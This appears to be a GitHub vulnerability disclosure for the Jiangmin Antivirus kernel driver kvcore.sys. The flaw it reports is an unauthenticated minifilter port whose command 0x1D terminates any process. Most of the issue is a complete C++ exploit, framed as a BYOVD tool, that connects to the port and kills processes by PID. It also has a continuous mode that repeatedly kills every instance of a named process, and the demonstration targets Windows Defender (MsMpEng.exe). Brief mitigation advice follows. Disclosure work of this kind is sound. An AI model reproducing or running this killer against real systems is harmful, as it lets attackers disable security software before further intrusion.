Skip to content

Jiangmin #1

Description

@patrickt2017

Title

Arbitrary Process Termination via Unauthenticated Minifilter Message Handler in Jiangmin Antivirus Kernel Driver (kvcore.sys)

Affected Asset:

Product: Jiangmin Antivirus 江民防毒軟體 V21 (https://www.jiangmin.com.tw/show_news.asp?n_id=1179)
Component: kvcore.sys (Core Kernel Driver)
Version: 1.23.6.27

Severity

High - 8.1 (CVSS v3.1 AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

Description of the Vulnerability

The Jiangmin Antivirus kernel driver, kvcore.sys exposes a minifilter communication port ("\KvCorePortX0") that accepts command messages from user-mode processes. The driver's MessageNotifyCallback (FUN_140008c60) dispatches a command code (0x1D / CMD_TERMINATE_PROCESS) to the internal function FUN_14000cf14, which terminates an arbitrary process specified by PID using the following kernel API chain:

  • PsLookupProcessByProcessId(PID)
  • ObOpenObjectByPointer(PROCESS_TERMINATE)
  • ZwTerminateProcess(handle, 0)
Image

The vulnerability exists because in FUN_14000688c, the filter communication port is created using FltBuildDefaultSecurityDescriptor() with an overly permissive access mask (0x1F0001), granting connection rights to EVERYONE (S-1-1-0). This allows any user-mode process to connect.

Image

When a user-mode process sends a message to the KvCorePortX0 minifilter, the MessageNotifyCallback callback function (at FUN_140008c60) performs no caller authentication. There are no calls to SeSinglePrivilegeCheck(), PsGetCurrentProcess() validation, token verification, or any process allowlist check.

Image

Proof of Concept/Step to Reproduce

The PoC needs to run in an administrator command prompt and the kvcore.sys driver must be running

  • either Jiangmin Antivirus (江民防毒) running or
  • Use sc.exe to manually create a kernel service (sc.exe create kvcore type= kernel binPath= ; sc.exe start kvcore)
    Example:
.\kvcore_kill_poc.exe --name "MsMpEng.exe"
.\kvcore_kill_poc.exe --pid 3340

I have tested the PoC in Windows 11 24H2 (Build 26200). Please refer to PoC-MsMpEng.png for the test result showing the termination of Windows Defender as an example.

Image

Exploit

#include <windows.h>
#include <fltuser.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <algorithm>

#pragma comment(lib, "fltlib.lib")

// =============================================================================
// Constants from reverse engineering kvcore.sys
// =============================================================================

// Minifilter communication port name (at VA 0x140027ab0 in .rdata)
#define KVCORE_PORT_NAME        L"KvCorePortX0"

// Message command codes (FUN_140008c60 switch dispatch)
#define CMD_HIPS_JUDGE          0x01
#define CMD_SET_RULES           0x02
#define CMD_GET_REPORTS         0x03
#define CMD_DLL_INJECT          0x07
#define CMD_CREATE_PROC_RECORD  0x09
#define CMD_HEARTBEAT           0x0A
#define CMD_NOP                 0x0B
#define CMD_ENABLE_PROTECT      0x0E
#define CMD_DISABLE_PROTECT     0x0F
#define CMD_GET_WORKMODE        0x10
#define CMD_SET_PROC_ATTR       0x11
#define CMD_SEND_FILEGUARD      0x12
#define CMD_SET_TIMING          0x13
#define CMD_KVCORE_CTRL         0x1C
#define CMD_TERMINATE_PROCESS   0x1D   // <-- Process termination primitive
#define CMD_SET_FLAG            0x1E
#define CMD_SET_REG_RULES       0x1F
#define CMD_GET_STATUS          0x20

// Message buffer layout (must be exactly 0x68 = 104 bytes)
// Derived from FUN_140008c60 analysis:
//   local_a80[0]  = CommandCode
//   local_a80[1]  = OutputSize (written by some commands)
//   *(uint64*)(local_a80+2) = DataSize (validated < MmHighestUserAddress)
//   *(uint64*)(local_a80+4) = DataPtr   (validated < MmHighestUserAddress)
//   local_a80[6]  = TargetPID  (for CMD_TERMINATE_PROCESS)
//   local_a80[7]  = Extra field
#define MSG_BUFFER_SIZE         0x68

// Offset of TargetPID field within the message buffer
#define PID_OFFSET              0x18    // 6 * sizeof(DWORD) = 24

// Constraint: FUN_14000cf14 rejects PID < 5 (protects System Idle, System, etc.)
#define MIN_VALID_PID           5

// Default scan interval for continuous --name mode (milliseconds)
#define DEFAULT_SCAN_INTERVAL   1000

// Global flag for Ctrl+C graceful shutdown
static volatile BOOL g_running = TRUE;

// =============================================================================
// Message structure matching the driver's expected format
// =============================================================================

#pragma pack(push, 1)
typedef struct _KVCORE_MESSAGE {
    DWORD   CommandCode;        // +0x00: Command selector
    DWORD   OutputSize;         // +0x04: Output/result size
    DWORD64 DataSize;           // +0x08: Data size (validated < MmHighestUserAddress)
    DWORD64 DataPtr;            // +0x10: Data pointer (validated < MmHighestUserAddress)
    DWORD   TargetPid;          // +0x18: Target PID for CMD_TERMINATE_PROCESS
    DWORD   ExtraField;         // +0x1C: Additional parameter
    BYTE    Reserved[72];       // +0x20: Padding to fill 0x68 bytes total
} KVCORE_MESSAGE, *PKVCORE_MESSAGE;
#pragma pack(pop)

static_assert(sizeof(KVCORE_MESSAGE) == MSG_BUFFER_SIZE, "Message size mismatch");

// =============================================================================
// Helper: Resolve process name to PID using Toolhelp32
// =============================================================================

struct ProcessInfo {
    DWORD Pid;
    std::wstring Name;
};

std::vector<ProcessInfo> FindProcessesByName(const std::wstring& targetName) {
    std::vector<ProcessInfo> results;
    std::wstring lowerTarget = targetName;
    std::transform(lowerTarget.begin(), lowerTarget.end(), lowerTarget.begin(), ::towlower);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        return results;
    }

    PROCESSENTRY32W entry = {};
    entry.dwSize = sizeof(entry);

    if (Process32FirstW(snapshot, &entry)) {
        do {
            std::wstring procName = entry.szExeFile;
            std::wstring lowerName = procName;
            std::transform(lowerName.begin(), lowerName.end(), lowerName.begin(), ::towlower);

            if (lowerName == lowerTarget) {
                results.push_back({ entry.th32ProcessID, procName });
            }
        } while (Process32NextW(snapshot, &entry));
    }

    CloseHandle(snapshot);
    return results;
}

// =============================================================================
// Helper: Open filter communication port
// =============================================================================

HANDLE OpenKvCorePort(const std::wstring& portName) {
    HANDLE hPort = NULL;

    // Attempt 1: Use port name as-is
    HRESULT hr = FilterConnectCommunicationPort(
        portName.c_str(),
        0,              // Options
        NULL,           // Context
        0,              // ContextSize
        NULL,           // SecurityAttributes
        &hPort
    );

    if (SUCCEEDED(hr)) {
        return hPort;
    }

    // Attempt 2: Prepend backslash (the driver stores "\KvCorePortX0")
    if (portName[0] != L'\\') {
        std::wstring fullPortName = L"\\" + portName;
        hr = FilterConnectCommunicationPort(
            fullPortName.c_str(), 0, NULL, 0, NULL, &hPort
        );
        if (SUCCEEDED(hr)) {
            return hPort;
        }
    }

    // Attempt 3: Try without backslash if the original had one
    if (portName[0] == L'\\') {
        std::wstring stripped = portName.substr(1);
        hr = FilterConnectCommunicationPort(
            stripped.c_str(), 0, NULL, 0, NULL, &hPort
        );
        if (SUCCEEDED(hr)) {
            return hPort;
        }
    }

    printf("[-] Failed to connect to filter port '%ls' (HRESULT: 0x%08X)\n",
           portName.c_str(), (unsigned int)hr);

    // Provide detailed error info
    DWORD err = GetLastError();
    printf("[-] GetLastError: %u (0x%08X)\n", err, err);

    if (hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND)) {
        printf("[-] Port not found. The driver may not be loaded.\n");
    } else if (hr == HRESULT_FROM_WIN32(ERROR_ACCESS_DENIED)) {
        printf("[-] Access denied. Try running as Administrator.\n");
    }

    return NULL;
}

// =============================================================================
// Core: Send terminate process command via filter port
// =============================================================================

BOOL TerminateProcessViaDriver(HANDLE hPort, DWORD targetPid) {
    KVCORE_MESSAGE msg = {};
    KVCORE_MESSAGE reply = {};
    DWORD bytesReturned = 0;

    // Validate PID constraints (driver rejects PID < 5)
    if (targetPid < MIN_VALID_PID) {
        printf("[-] PID %u rejected by driver (minimum: %d)\n", targetPid, MIN_VALID_PID);
        return FALSE;
    }

    // Check caller's own PID (driver skips if target == caller)
    DWORD selfPid = GetCurrentProcessId();
    if (targetPid == selfPid) {
        printf("[-] Cannot terminate own process (PID %u)\n", selfPid);
        return FALSE;
    }

    // Build the message:
    //   CommandCode = 0x1D (CMD_TERMINATE_PROCESS)
    //   DataSize/DataPtr = 0 (pass validation: 0 < MmHighestUserAddress)
    //   TargetPid = the process to kill
    msg.CommandCode = CMD_TERMINATE_PROCESS;
    msg.OutputSize  = 0;
    msg.DataSize    = 0;
    msg.DataPtr     = 0;
    msg.TargetPid   = targetPid;
    msg.ExtraField  = 0;

    printf("[*] Sending CMD_TERMINATE_PROCESS (0x%02X) for PID %u\n",
           CMD_TERMINATE_PROCESS, targetPid);
    printf("[*] Message buffer: %zu bytes\n", sizeof(msg));
    printf("[*]   CommandCode = 0x%02X\n", msg.CommandCode);
    printf("[*]   TargetPid   = %u (0x%X)\n", msg.TargetPid, msg.TargetPid);

    // Send the message via the minifilter communication port
    // FilterSendMessage internally sends IOCTL IRP_MJ_DEVICE_CONTROL to fltmgr.sys
    // which invokes the driver's MessageNotifyCallback (FUN_140008c60)
    HRESULT hr = FilterSendMessage(
        hPort,
        &msg,                   // Input buffer (our crafted message)
        sizeof(msg),            // Input buffer size (must be 0x68)
        &reply,                 // Output buffer (driver reply)
        sizeof(reply),          // Output buffer size
        &bytesReturned          // Bytes returned
    );

    if (SUCCEEDED(hr)) {
        printf("[+] Driver accepted the command (HRESULT: 0x%08X)\n", (unsigned int)hr);
        return TRUE;
    } else {
        printf("[-] FilterSendMessage failed (HRESULT: 0x%08X)\n", (unsigned int)hr);

        // Decode common NTSTATUS values returned by the driver
        switch (hr) {
            case 0xC000000D:
                printf("[-] STATUS_INVALID_PARAMETER\n");
                break;
            case 0xC0000023:
                printf("[-] STATUS_BUFFER_TOO_SMALL\n");
                break;
            case 0xC0000034:
                printf("[-] STATUS_OBJECT_NAME_NOT_FOUND\n");
                break;
            case 0xC000009A:
                printf("[-] STATUS_INSUFFICIENT_RESOURCES\n");
                break;
            case 0xC0000225:
                printf("[-] STATUS_NOT_FOUND\n");
                break;
            default:
                // Driver-specific error codes
                if ((hr & 0xFFFFFFF0) == 0xC0000000) {
                    printf("[-] NTSTATUS error: 0x%08X\n", (unsigned int)hr);
                }
                break;
        }
        return FALSE;
    }
}

// =============================================================================
// Ctrl+C handler for graceful shutdown
// =============================================================================

BOOL WINAPI ConsoleCtrlHandler(DWORD ctrlType) {
    if (ctrlType == CTRL_C_EVENT || ctrlType == CTRL_BREAK_EVENT) {
        g_running = FALSE;
        printf("\n\n[*] Ctrl+C received - shutting down gracefully...\n");
        return TRUE;
    }
    return FALSE;
}

// =============================================================================
// Verify the target process was actually terminated
// =============================================================================

BOOL VerifyTermination(DWORD targetPid) {
    HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, targetPid);
    if (hProc == NULL) {
        DWORD err = GetLastError();
        if (err == ERROR_INVALID_PARAMETER) {
            printf("[+] CONFIRMED: Process %u no longer exists\n", targetPid);
            return TRUE;
        }
        printf("[?] Cannot verify: OpenProcess error %u\n", err);
        return FALSE;
    }

    DWORD exitCode = 0;
    if (GetExitCodeProcess(hProc, &exitCode)) {
        if (exitCode != STILL_ACTIVE) {
            printf("[+] CONFIRMED: Process %u terminated (exit code: %u)\n", targetPid, exitCode);
            CloseHandle(hProc);
            return TRUE;
        }
    }

    CloseHandle(hProc);
    printf("[-] Process %u may still be running\n", targetPid);
    return FALSE;
}

// =============================================================================
// Usage
// =============================================================================

void PrintUsage(const char* exeName) {
    printf("Usage:\n");
    printf("  %s --name <process.exe> [--port <name>] [--interval <ms>]\n", exeName);
    printf("  %s --pid <PID> [--port <name>]\n", exeName);
    printf("\n");
    printf("Options:\n");
    printf("  --pid <PID>         Target process ID (one-shot, then exit)\n");
    printf("  --name <name>       Target process name (CONTINUOUS loop until Ctrl+C)\n");
    printf("  --port <name>       Filter port name (default: KvCorePortX0)\n");
    printf("  --interval <ms>     Scan interval in ms (default: %d)\n", DEFAULT_SCAN_INTERVAL);
    printf("  --list              List candidate port names to try\n");
    printf("  --help              Show this help\n");
    printf("\n");
    printf("Notes:\n");
    printf("  - Requires Administrator privileges (to load/access the driver)\n");
    printf("  - --name mode loops forever, killing every instance of the target\n");
    printf("  - Press Ctrl+C to stop and disconnect cleanly\n");
    printf("  - The driver rejects PIDs < %d (System Idle, System, etc.)\n", MIN_VALID_PID);
    printf("  - The driver skips termination if target PID == caller PID\n");
    printf("\n");
    printf("Driver details (from RE):\n");
    printf("  Device:    \\Device\\KvCore -> \\DosDevices\\KvCoreCtrl\n");
    printf("  Port:      \\KvCorePortX0 (at VA 0x140027ab0)\n");
    printf("  Handler:   FUN_140008c60 (MessageNotifyCallback)\n");
    printf("  Kill func: FUN_14000cf14 (PsLookup + ObOpen + ZwTerminate)\n");
}

void ListPortNames() {
    printf("Candidate port names to try:\n");
    printf("  1. KvCorePortX0       (from binary, VA 0x140027ab0)\n");
    printf("  2. \\KvCorePortX0      (with leading backslash)\n");
    printf("  3. 325170             (filter altitude value)\n");
    printf("  4. KvCore             (driver component name)\n");
    printf("  5. KVCORE             (uppercase)\n");
}

// =============================================================================
// Entry point
// =============================================================================

int main(int argc, char* argv[]) {
    printf("=== kvcore.sys BYOVD Process Termination PoC ===\n");
    printf("Target: Jiangmin Antivirus Core Driver (kvcore.sys v1.0.0.1)\n");
    printf("Vuln:   No authentication on CMD_TERMINATE_PROCESS (0x1D)\n\n");

    // Parse command line
    DWORD targetPid = 0;
    std::wstring processName;
    std::wstring portName = KVCORE_PORT_NAME;
    DWORD scanInterval = DEFAULT_SCAN_INTERVAL;
    bool useName = false;

    for (int i = 1; i < argc; i++) {
        std::string arg = argv[i];
        if (arg == "--pid" && i + 1 < argc) {
            targetPid = (DWORD)atoi(argv[++i]);
        } else if (arg == "--name" && i + 1 < argc) {
            useName = true;
            int wlen = MultiByteToWideChar(CP_ACP, 0, argv[++i], -1, NULL, 0);
            processName.resize(wlen - 1);
            MultiByteToWideChar(CP_ACP, 0, argv[i], -1, &processName[0], wlen);
        } else if (arg == "--port" && i + 1 < argc) {
            int wlen = MultiByteToWideChar(CP_ACP, 0, argv[++i], -1, NULL, 0);
            portName.resize(wlen - 1);
            MultiByteToWideChar(CP_ACP, 0, argv[i], -1, &portName[0], wlen);
        } else if (arg == "--interval" && i + 1 < argc) {
            scanInterval = (DWORD)atoi(argv[++i]);
            if (scanInterval < 100) scanInterval = 100;
        } else if (arg == "--list") {
            ListPortNames();
            return 0;
        } else if (arg == "--help" || arg == "-h") {
            PrintUsage(argv[0]);
            return 0;
        }
    }

    // Validate arguments
    if (targetPid == 0 && !useName) {
        printf("Error: Specify --pid <PID> or --name <process.exe>\n\n");
        PrintUsage(argv[0]);
        return 1;
    }

    printf("[*] Filter port: %ls\n", portName.c_str());
    printf("[*] Caller PID:  %u\n\n", GetCurrentProcessId());

    // Connect to the driver's filter communication port
    printf("[*] Connecting to filter port...\n");
    HANDLE hPort = OpenKvCorePort(portName);
    if (hPort == NULL) {
        printf("\n[-] Could not connect to the driver.\n");
        printf("    Troubleshooting:\n");
        printf("    1. Verify kvcore.sys is loaded: sc query kvcore\n");
        printf("    2. Try alternate port names with --port\n");
        printf("    3. Run as Administrator\n");
        printf("    4. Check if Jiangmin AV is installed and running\n");
        return 1;
    }
    printf("[+] Connected to filter port successfully!\n\n");

    // =========================================================================
    // Mode 1: --pid  (one-shot, terminate single PID then exit)
    // =========================================================================
    if (!useName) {
        if (targetPid < MIN_VALID_PID) {
            printf("[-] Invalid PID %u (driver minimum: %d)\n", targetPid, MIN_VALID_PID);
            CloseHandle(hPort);
            return 1;
        }

        printf("[*] ONE-SHOT mode: terminating PID %u\n\n", targetPid);
        BOOL success = TerminateProcessViaDriver(hPort, targetPid);

        if (success) {
            Sleep(500);
            VerifyTermination(targetPid);
        }

        CloseHandle(hPort);
        printf("\n[*] Done.\n");
        return success ? 0 : 1;
    }

    // =========================================================================
    // Mode 2: --name  (continuous loop - kill every instance until Ctrl+C)
    // =========================================================================
    printf("[+] CONTINUOUS mode: killing all '%ls' processes\n", processName.c_str());
    printf("[*] Scan interval: %u ms\n", scanInterval);
    printf("[*] Press Ctrl+C to stop\n\n");

    // Register Ctrl+C handler
    SetConsoleCtrlHandler(ConsoleCtrlHandler, TRUE);

    DWORD totalKilled = 0;
    DWORD scanCount   = 0;

    while (g_running) {
        scanCount++;

        auto processes = FindProcessesByName(processName);

        if (processes.empty()) {
            // Overwrite the same line to avoid spamming
            printf("\r[*] Scan #%u: no '%ls' instances found       ",
                   scanCount, processName.c_str());
            fflush(stdout);
        } else {
            // Found one or more instances - kill them all
            printf("\n[*] Scan #%u: found %zu instance(s) of '%ls'\n",
                   scanCount, processes.size(), processName.c_str());

            for (const auto& proc : processes) {
                if (!g_running) break;

                // Skip own process
                if (proc.Pid == GetCurrentProcessId()) {
                    printf("    [~] Skipping own process (PID %u)\n", proc.Pid);
                    continue;
                }

                // Skip protected PIDs
                if (proc.Pid < MIN_VALID_PID) {
                    printf("    [~] Skipping protected PID %u\n", proc.Pid);
                    continue;
                }

                printf("    [>] Killing PID %u (%ls) ... ", proc.Pid, proc.Name.c_str());
                fflush(stdout);

                BOOL ok = TerminateProcessViaDriver(hPort, proc.Pid);
                if (ok) {
                    totalKilled++;
                    printf("OK\n");
                } else {
                    printf("FAILED\n");
                }
            }
        }

        // Wait for the next scan cycle, checking g_running every 100ms
        for (DWORD waited = 0; waited < scanInterval && g_running; waited += 100) {
            Sleep(100);
        }
    }

    // =========================================================================
    // Cleanup on Ctrl+C
    // =========================================================================
    printf("\n\n[*] === Shutdown Summary ===\n");
    printf("    Scans performed : %u\n", scanCount);
    printf("    Processes killed: %u\n", totalKilled);
    printf("    Target name     : %ls\n", processName.c_str());

    CloseHandle(hPort);
    printf("[+] Disconnected from filter port.\n");
    printf("[*] Bye.\n");

    return 0;
}

Mitigations and Recommendations

  1. Implement caller authentication in the MessageNotifyCallback
    e.g., validate the caller's process identity against an allowlist of trusted Jiangmin user-mode components, verify the connecting process's image path
  2. Restrict the filter communication port's security descriptor
  3. Replace FltBuildDefaultSecurityDescriptor(0x1F0001) with a custom DACL that grants access only to SYSTEM and Administrators group

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions